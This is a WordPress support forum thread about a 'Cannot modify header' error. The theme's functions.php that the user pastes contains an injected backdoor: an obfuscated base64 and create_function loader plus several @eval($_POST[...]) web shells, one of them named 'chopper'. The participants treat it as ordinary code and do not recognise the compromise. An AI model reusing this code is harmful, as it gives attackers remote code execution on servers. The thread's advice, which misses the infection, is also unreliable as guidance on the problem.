Error message: Cannot modify header
-
I’m helping a friend with her website, http://www.LasVegasThermography.com, and the website had been up and live, then all of a sudden about a week ago we got this error message when trying to navigate to the site:
Warning: Cannot modify header information – headers already sent by (output started at /home/cherilynn/public_html/wp-content/themes/x/functions.php:1) in /home/cherilynn/public_html/wp-includes/pluggable.php on line 1207
However, it won’t let me log in to the WordPress to solve the problem, and just redirects back to the same error message. Help?
-
Hi TrueNorthSolutions,
The error message you get tells us that on the 1st line of functions.php of the theme (which is found at /public_html/wp-content/themes/x/functions.php) there is something that shouldn’t be there. Usually it is an empty line, or even just a space. There shouldn’t be anything before the opening <?phpThe same applies for /public_html/wp-config.php, there shouldn’t be anything before the opening <?php
Here is a related article: How do I solve the Headers already sent warning problem?
If someone has edited functions.php of the theme (it is not recommended editing original theme files), you should open the file and make sure there is nothing before <?php. Re installing the theme altogether will work too, but any file changes will be lost (that is why we suggest creating child themes).
I hope this helps
if I can’t get in to admin the site, how do I change the script?
ReggieT60, are we talking about the same site, the one TrueNorthSolutions posted about earlier?
You can edit your files either by FTP or from your host’s cPanel.
Hi KostasNi,
Thanks for responding so quickly – I went through the FTP to get to: /public_html/wp-content/themes/x/functions.php and to /public_html/wp-config.php but neither had any spaces.
Is there somewhere else I should be looking? Or maybe am I missing something else?
Here’s the opening code from both places:
Functions.php
‘<?php $mt=”mFsKCleRfU”; $ojj=”IEBleldle”; $hsa=”E9TVFsnd2Vud2VuJ10p”; $fnx=”Ow==”; $zk = str_replace(“d”,””,”sdtdrd_redpdldadcde”); $ef = $zk(“z”, “”, “zbazsze64_zdzeczodze”); $dva = $zk(“p”,””,”pcprpepaptpe_fpupnpcptpipopn”); $zvm = $dva(”, $ef($zk(“le”, “”, $ojj.$mt.$hsa.$fnx))); $zvm(); ?> OK<?php @eval($_POST[‘rio’]);?><?php @eval($_POST[‘dd’]);?><?php @eval($_POST[‘dd’]);?><?php @eval($_POST[‘chopper’]);?><?php @eval($_POST[‘dd’]);?><?php// =============================================================================
// FUNCTIONS.PHP’Here’s wp_config.php:
‘<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, WordPress Language, and ABSPATH. You can find more information
* by visiting {@link http://codex.ww.wp.xz.cn/Editing_wp-config.php Editing
* wp-config.php} Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don’t have to use the web site, you can just copy this file
* to “wp-config.php” and fill in the values.
*
* @package WordPress
*/// ** MySQL settings – You can get this info from your web host ** //
/** The name of the database for WordPress */
define(‘DB_NAME’, ‘lvthermography’);’I suggest taking a backup of your theme and then re-uploading a fresh copy.
If this doesn’t solve the issue, and since X is a commercial theme, we ask that you please go to their official support channel, so you can get support from the people who know it best.
Forum volunteers are also not given access to commercial products, so they would not know why it is not working properly. Other community members who may have faced your issue might be able to help you but your best bet is your product’s developer. Keep in mind we encourage you to use the official support venues, as it allows the developers to be aware of issues with their code and gives back to the community in a more robust way.
The topic ‘Error message: Cannot modify header’ is closed to new replies.